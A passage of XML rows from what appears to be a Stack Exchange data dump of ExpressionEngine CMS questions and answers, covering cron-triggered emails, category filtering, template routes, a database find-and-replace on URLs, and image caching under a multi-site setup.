&lt;strong&gt;Output&lt;/strong&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-10T10:34:54.890" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32270" PostTypeId="2" ParentId="22216" CreationDate="2015-07-10T11:50:39.960" Score="1" Body="&lt;p&gt;This has also been asked on the official support forum here: &lt;a href=&quot;https://devot-ee.com/add-ons/support/ce-cache/viewthread/14051&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/support/ce-cache/viewthread/14051&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This comment: &lt;a href=&quot;https://devot-ee.com/add-ons/support/ce-cache/viewthread/14051#49482&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/support/ce-cache/viewthread/14051#49482&lt;/a&gt; also provides a way of caching the layouts although I'm pretty sure it won't address your layout:set issue.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-07-10T11:50:39.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32271" PostTypeId="1" AcceptedAnswerId="32273" CreationDate="2015-07-10T13:41:13.303" Score="0" ViewCount="97" Body="&lt;p&gt;I want to send a weekly email based on time (no other trigger) that inclues channel entries which is defined in a template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recipients are always the same, just a few people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to find a time-based option in postmaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? Another solution is fine.&lt;/p&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2015-07-20T09:27:43.413" Title="Send Email weekly" Tags="|email|postmaster|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32273" PostTypeId="2" ParentId="32271" CreationDate="2015-07-10T15:07:33.583" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Use CRON jobs to send email at anytime in the future. Specify a specific and/or relative date to give you the maximum amount of flexibility. You can even configure a parcel to send emails at re-occurring intervals.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is directly from their Devot-ee page. You need to set up a cron job to curl your site once a week; It seems PostMaster allows for triggering emails via a URL. I'm busy and wish I had time to dig through their documentation, but I'm pretty sure you can just make a template, and you curl that path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.your-domain.com/notification_template_group/weekly_email&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just curl that with a cron job, and use something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster/api/postmaster-base-api#send&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster/api/postmaster-base-api#send&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to actually send the mail. You can probably use an htaccess block on that template page to only allow request from 127.0.0.1; then you're protected and only your server can curl that notification address!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; Read through the docs. I probably just gave you a more complicated solution than is necessary, the people at Objective are quite nice (in my experience) so you can just shoot them an email and they can probably walk you through it.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-10T15:07:33.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32274" PostTypeId="1" AcceptedAnswerId="32275" CreationDate="2015-07-10T15:12:43.610" Score="0" ViewCount="87" Body="&lt;p&gt;I have the following code below. Trying to show categories from one category group, but instead all categories are being outputted. I've tried using &lt;code&gt;category_group=&quot;1&quot;&lt;/code&gt;, but no luck. Any help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;speakers&quot; style=&quot;linear&quot; backspace=&quot;7&quot; category_group=&quot;1&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        {categories}&#xA;            &amp;lt;a class=&quot;btn-open&quot; href=&quot;#&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;        {/categories} &#xA;        {entry_titles}  &#xA;        &amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt; &#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;  &#xA;        {/entry_titles}     &#xA;    &amp;lt;/li&amp;gt;   &#xA;{/exp:channel:category_archive}     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-07-10T15:40:03.070" Title="Exclude category group from category_archive" Tags="|categories|category-group|category-archive|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32275" PostTypeId="2" ParentId="32274" CreationDate="2015-07-10T15:18:37.737" Score="1" Body="&lt;p&gt;This doesn't seem to be an option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/category_archive.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/category_archive.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I curled and searched that page and found zero references to &quot;Category Group&quot; (case insensitive search). How dynamic is that group? Can you use the &lt;code&gt;show&lt;/code&gt; parameter and list the categories you want to show?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;speakers&quot; style=&quot;linear&quot; backspace=&quot;7&quot; show=&quot;1|3|5|7|9|666&quot;}&#xA;&amp;lt;li&amp;gt;&#xA;    {categories}&#xA;        &amp;lt;a class=&quot;btn-open&quot; href=&quot;#&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;    {/categories} &#xA;    {entry_titles}  &#xA;    &amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt; &#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;  &#xA;    {/entry_titles}     &#xA;&amp;lt;/li&amp;gt;   &#xA;{/exp:channel:category_archive} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that is a pain, but sometimes we must develop and play the maintenance game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Thanks for giving me the check; but I'm an idiot and just thought of a much better potential answer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#variables&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this parameter! (assuming your cat group is 1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;show=&quot;{exp:channel:categories category_group='1'}{category_id}|{/exp:channel:categories}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-10T15:40:03.070" LastActivityDate="2015-07-10T15:40:03.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32276" PostTypeId="1" CreationDate="2015-07-10T16:04:01.393" Score="0" ViewCount="337" Body="&lt;p&gt;The field strips the 'form/action' tags that are used for the Paypal link/button. Because of this the button is not a clicking link.&#xA;Is there any way i can prevent this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;input name=&quot;cmd&quot; value=&quot;_xclick&quot; type=&quot;hidden&quot;&amp;gt;&amp;lt;input name=&quot;business&quot; value=&quot;my@email.com&quot; type=&quot;hidden&quot;&amp;gt;&amp;lt;input name=&quot;item_name&quot; type=&quot;hidden&quot;&amp;gt;&amp;lt;input name=&quot;currency_code&quot; value=&quot;USD&quot; type=&quot;hidden&quot;&amp;gt;&amp;lt;input name=&quot;amount&quot; type=&quot;hidden&quot;&amp;gt;&amp;lt;input src=&quot;/images/paypal.jpg&quot; name=&quot;submit&quot; alt=&quot;Make payments with PayPal - it's fast, free and secure!&quot; type=&quot;image&quot;&amp;gt;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2020-08-28T13:01:00.133" Title="Textarea (Rich Text) stripping html/form (paypal donate code)" Tags="|richtext|textarea|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32277" PostTypeId="1" CreationDate="2015-07-10T17:10:02.890" Score="0" ViewCount="27" Body="&lt;p&gt;I'm building a site that has 20 city markets using a Markets Channel. Each market will have it's own version of a page, so austin/store, nyc/store, austin/about, nyc/about, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a National market that is the catch all version of a page that does not have a market in the first segment, so /store, /about, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that if we're using the National market channel to display a page I don't want that segment in the URL. It should not be national/store, national/about. A visitor should never see a market in the URL unless it's on a proper market like austin or nyc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, can I use resource router to accomplish something like this and how would I go about setting it up so I don't have to create two versions of a route, one for national and one for proper markets? And then on top of that only displaying segment_1 if it's a market besides national.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-07-10T19:35:49.947" Title="Resource Router for Markets" Tags="|resource-router|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32278" PostTypeId="2" ParentId="32276" CreationDate="2015-07-10T18:36:55.040" Score="0" Body="&lt;p&gt;I've tested this in 2.9.0 and could only recreate a edit_entry issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to click on the &quot;View Code&quot; button before pasting in a form in a Rich Textarea. This will work, and the form should populate when the entry is display in a template. However, when you go edit that entry, the form tag will be stripped out. Can you verify you are also having this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I heartily suggest getting WYGWAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/wygwam&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's $29 bucks, I've used it to paste forms/all sorts of HTML code into an enhanced Textarea. Just make your employer buy it for you (I am in no way associated with WYGWAM and make no money from that Addon [well, except for doing a good job at my regular engineering job, which pays me]).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-10T18:36:55.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32279" PostTypeId="2" ParentId="32277" CreationDate="2015-07-10T19:35:49.947" Score="1" Body="&lt;p&gt;I can't tell you how Resource Router can do this, but I &lt;em&gt;can&lt;/em&gt; tell you how standard Template Routes can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make templates or template groups for &lt;code&gt;/store&lt;/code&gt;, &lt;code&gt;/about&lt;/code&gt;, etc. (Doesn't really matter where they are or what they're named, since you'll be adding routes to them anyway.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a route for each of those templates like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;store/{market:alpha}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;about/market:alpha}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leave &lt;em&gt;Segments Required&lt;/em&gt; set to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your template, use the &lt;code&gt;channel:entries&lt;/code&gt; tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;markets&quot; {if segment:market}url_title=&quot;{segment:market}&quot;{if:else}url_title=&quot;national&quot;{/if} dynamic=&quot;no&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that do the trick?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-10T19:35:49.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32280" PostTypeId="1" CreationDate="2015-07-10T21:24:05.197" Score="1" ViewCount="20" Body="&lt;p&gt;As an example, if I want to use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;\begin{eqnarray} a &amp;=&amp; b ( d + c) + c \\&#xA; &amp;&amp; bd + bc + c \\&#xA;a &amp;=&amp; bd + c(b + 1)\end{eqnarray}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="6484" LastActivityDate="2015-07-10T21:24:05.197" Title="How to embed multiline LaTeX equations into Wygwam box" Tags="|wygwam|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32281" PostTypeId="1" AcceptedAnswerId="32283" CreationDate="2015-07-10T22:01:44.143" Score="0" ViewCount="113" Body="&lt;p&gt;I have a number of EE rich text fields for a bunch of entries with inline images that have been uploaded. I'm noticing that the HTML image tags this generates is including the full, absolute image URL with a domain, e.g. &lt;a href=&quot;http://www.cool.pizza/assets/img/etc.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.cool.pizza/assets/img/etc.jpg&lt;/a&gt; instead of just /assets/img/etc.jpg. We are switching subdomains soon, however. Is there any way to do a mass text replace on these fields to remove the &quot;&lt;a href=&quot;http://www.cool.pizza&quot; rel=&quot;nofollow&quot;&gt;http://www.cool.pizza&lt;/a&gt;&quot; from image URLs?&lt;/p&gt;&#xA;" OwnerUserId="6121" LastActivityDate="2015-07-10T23:00:47.427" Title="Mass find-and-replace URLs in rich text fields" Tags="|url|richtext|image-path|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32282" PostTypeId="2" ParentId="32281" CreationDate="2015-07-10T22:15:37.503" Score="0" Body="&lt;p&gt;MySQL to the rescue!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update [table_name] set [field_name] = replace([field_name],'[string_to_find]','[string_to_replace]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to use this command to do exactly what you want. You're will look like this (this is an example, DON'T RUN THIS COMMAND):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE channel_data SET field_id_25 = replace(field_id_25, 'bad_url.com', 'good_url.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might be the channel_entries table that has the data, I can't remember. Also, you need to figure out which field your's is, it's not going to be field_id_25. As always, you &lt;strong&gt;must&lt;/strong&gt; back up this database table before you try anything, or you'll be sorry. But this will do a complete find and replace on your field's column. To figure what your field ID is, you need to go to your channel field's field group. You'll find the field ID on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Your site -&amp;gt; CP Home -&amp;gt; Administration -&amp;gt; Channel Fields -&amp;gt; Group: Your Field Group&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-10T22:15:37.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32283" PostTypeId="2" ParentId="32281" CreationDate="2015-07-10T23:00:47.427" Score="1" Body="&lt;p&gt;There's a tool for this kind of task on the Control Panel -&gt; Tools -&gt; Data -&gt; &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/tools/data/search_and_replace.html&quot; rel=&quot;nofollow&quot;&gt;Search and Replace&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just look for &lt;code&gt;http://www.cool.pizza/assets/img/&lt;/code&gt; and replace it by &lt;code&gt;/assets/img/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-07-10T23:00:47.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32284" PostTypeId="1" AcceptedAnswerId="32297" CreationDate="2015-07-11T02:04:43.367" Score="0" ViewCount="62" Body="&lt;p&gt;I'm trying to add my embedded contact form template to one page for a blog entry. I've never had an issue with this template or embedding it until now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/html_header&quot; page_title=&quot;{page_title} - {site_name}&quot; &#xA;      page_description=&quot;{meta-description}&quot;}&#xA;&amp;lt;div class=&quot;blog-page entry-main&quot;&amp;gt;&#xA;    {embed=&quot;inc/nav&quot;}&#xA;&#xA;    {embed=&quot;blog/listing&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{embed=&quot;contact/form&quot;}&#xA; &amp;lt;!--Hey footer footer--&amp;gt;&#xA;{embed=&quot;inc/html_footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the embedded html_footer appears on the entry template page just fine along with my random  Hey footer comment. In fact, everything on this page displays correctly except for &lt;strong&gt;{embed=&quot;contact/form&quot;}&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done so many things to try and fix this -- use snippets for the form, use conditionals to check for segment_3, etc, but still no success. The pages I'm trying to display have the root structure of:&lt;br&gt; &#xA;/blog/entry/the-entry-post-title-whatever-user-enters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I navigate to just /blog/entry/index.php. I see the footer, but also every single blog entry and the html header and footer embedded templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? I'm nearly going insane over this and even had a nightmare where I spent a day trying to figure this out. Dreams are not meant to infested with EE code. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6485" LastActivityDate="2015-07-13T14:03:05.600" Title="Template won't embed on one entry page but fine on everything else" Tags="|templates|solspace-freeform|embeds|entry|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32286" PostTypeId="1" CreationDate="2015-07-11T05:51:36.210" Score="0" ViewCount="119" Body="&lt;p&gt;First time using Structure on a project...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the latest versions of Structure and EE, using the {exp:structure:nav} tag, is there a way to keep the parent entry URL segment from appearing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, I have a top-level navigation menu called about which haas things like links to the newsletter and staff. With the code I have in place, the URLs for those pages are along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/about/newsletters&quot; rel=&quot;nofollow&quot;&gt;http://example.com/about/newsletters&lt;/a&gt;&#xA;&lt;a href=&quot;http://example.com/committees/charity&quot; rel=&quot;nofollow&quot;&gt;http://example.com/committees/charity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like those URLs to be is simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/newsletters  &#xA;http://example.com/committees/charity&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would give the client (a large site with hundreds if not thousands of pages) an easy way to self-manage their site navigation by using Structure more as a way to group and organize menu and sub-menu items. It would have the side effect of allowing us to keep the old URL structure saving us from having to account for redirects and other broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using to generate my About menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;nabout&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}about&quot;&amp;gt;About Us&amp;lt;span class=&quot;ndrop&quot;&amp;gt;&amp;amp;#187;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;  {exp:structure:nav start_from=&quot;/about&quot; show_depth=&quot;2&quot; include_ul=&quot;no&quot; show_overview=&quot;yes&quot; add_span=&quot;yes&quot; has_children_class=&quot;yes&quot; rename_overview=&quot;title&quot;}&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-07-11T05:51:36.210" Title="Customize URLs in With Structure Navigation Tags (or How to Keep Top Level URL Segments Out of Children URLs)?" Tags="|structure|navigation|children|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32288" PostTypeId="2" ParentId="32271" CreationDate="2015-07-11T12:28:38.593" Score="0" Body="&lt;p&gt;There's a 1st party addon for this: &lt;a href=&quot;https://github.com/EllisLab/Cron-Email&quot; rel=&quot;nofollow&quot;&gt;Cron-Email&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's quite old, but, since it's from EllisLab itself, I guess you can ask for help if it isn't compatible to the current EECMS version.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-07-11T12:28:38.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32290" PostTypeId="1" CreationDate="2015-07-12T09:03:16.540" Score="0" ViewCount="28" Body="&lt;p&gt;Good day,&#xA;I am getting an error trying to implement a channel form. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;upload_video&quot; return=&quot;http://poliwatch.info/mypoliwatch&quot;}&#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;label for=&quot;url_title&quot;&amp;gt;URL Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;label for=&quot;video_file&quot;&amp;gt;Video File&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;video_file&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;{site_url}/images/uploads/videos&quot; value=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;video_file_hidden_file&quot; value=&quot;{video_file}{file_name}{/video_file}&quot;/&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;label for=&quot;description&quot;&amp;gt;Video Description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;description&quot; id=&quot;description&quot; value=&quot;{description}&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the problem is &lt;code&gt;name=&quot;{site_url}/images/uploads/videos&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6486" LastActivityDate="2015-07-12T09:03:16.540" Title="Error: Video File field required" Tags="|safecracker|file-uploads|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32291" PostTypeId="1" CreationDate="2015-07-12T14:13:22.770" Score="0" ViewCount="205" Body="&lt;p&gt;I am in the process of setting up the structure of a new EE site and I've run into questions about routes and if this is possible or if I'm missing something. I apologize if this seems super simple, I've been through the docs and as many &quot;template routes&quot; search results as possible but I'm still not figuring this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the current setup. I tried originally to do this originally with one single category group and multiple parent/child categories but it wasn't working. I'm not against that solution if that is what is necessary to achieve the desired results.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One Channel&lt;/strong&gt; - Directory&#xA;4 Category Groups - Cat / Dog / Fish / Reptiles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Listing Page&lt;/strong&gt; - list of posts with pagination&#xA;/directory/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category Group Page&lt;/strong&gt; - list of posts in a specific category group with pagination&#xA;/directory/cat/&#xA;/directory/cat/P1&#xA;/directory/dog/&#xA;/directory/dog/P1&#xA;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category Pages&lt;/strong&gt; - list of posts in a specific category with pagination&#xA;/directory/cat/food&#xA;/directory/cat/food/P1&#xA;/directory/dog/food&#xA;/directory/dog/food/P1&#xA;etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Single Page&lt;/strong&gt; - single entry &#xA;/directory/category_group/url_title &#xA;/directory/dog/barkbox-dog-review&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template group:&lt;/strong&gt; &#xA;Listing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Templates &amp;amp; Routes:&lt;/strong&gt; &#xA;directory-index | ROUTE: /directory/dog/{page:pagination}&#xA;directory-single | ROUTE: /directory/dog/{post:alpha_dash}/&#xA;directory-cat | ROUTE: /directory/dog/category/{section:alpha_dash}/{page:pagination}  (I had to add /category/ into this route, which I'd rather not have to do)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After a lot of back and forth, I got the above to work and then of course, I realized I was using a category group name (dog) in each route, which doesn't allow this to be dynamic. I would have to then create 3 templates per category group, which doesn't seem right.  I didn't even want 3 templates let alone 3 per category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for taking the time to read this and offering any help.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-07-12T14:13:22.770" Title="template routes and category groups + categories" Tags="|template-routes|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32292" PostTypeId="1" CreationDate="2015-07-13T03:22:43.813" Score="0" ViewCount="77" Body="&lt;p&gt;We have an MSM site with five websites and CE image working correctly on all of them. We just added a new one on a subdomain, but images do not appear on the site and are not saved to the &quot;made&quot; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what we get when debugging:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CE Image debug: Base path: '/chroot/home/mydir/mysite.co.uk/html/'&#xA;CE Image debug: Source image: 'http://mysubdomain.mysite.co.uk/assets/uploads/myimagename.JPG', Fallback image: ''&#xA;CE Image debug: Regexed source: '/home/mydir/mysite.co.uk/html/teachers/assets/uploads/myimagename.JPG'&#xA;CE Image debug: The image '/chroot/home/mydir/mysite.co.uk/html/images/made/1eba60a09cddb1ec/myimagename_40_40_c1.JPG' is cached.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Base path is not correct. We've made the changes for MSM configuration on our config.php file just like we did on all previous websites but doesn't seem to be working. &#xA;However, source image url and regexed source path are correct. &#xA;But our &quot;made&quot; folder is empty and its path is wrong. Folder permissions seem to be correct and have been triple-checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We discard a template problem because we're using the same code across all the websites on the msm setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're hosted at Nexcess, using EE 2.9.2 and CE Image 2.4.5. &#xA;We need to fix this to go live, so any help is most appreciated! Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1427" LastEditorUserId="1427" LastEditDate="2015-07-13T20:35:31.343" LastActivityDate="2015-07-13T20:35:31.343" Title="CE Image not saving correctly" Tags="|multi-site-manager|ce-image|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32294" PostTypeId="2" ParentId="32238" CreationDate="2015-07-13T10:26:56.970" Score="0" Body="&lt;p&gt;I removed the offending &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;? :1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from line 293 and line 342 in ft.channel_videos.php. This stopped the error and the plug-in now works. I guess it might have lost functionality connected to 'video_views' but the main purpose that it was being used is now working.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2015-07-13T10:26:56.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
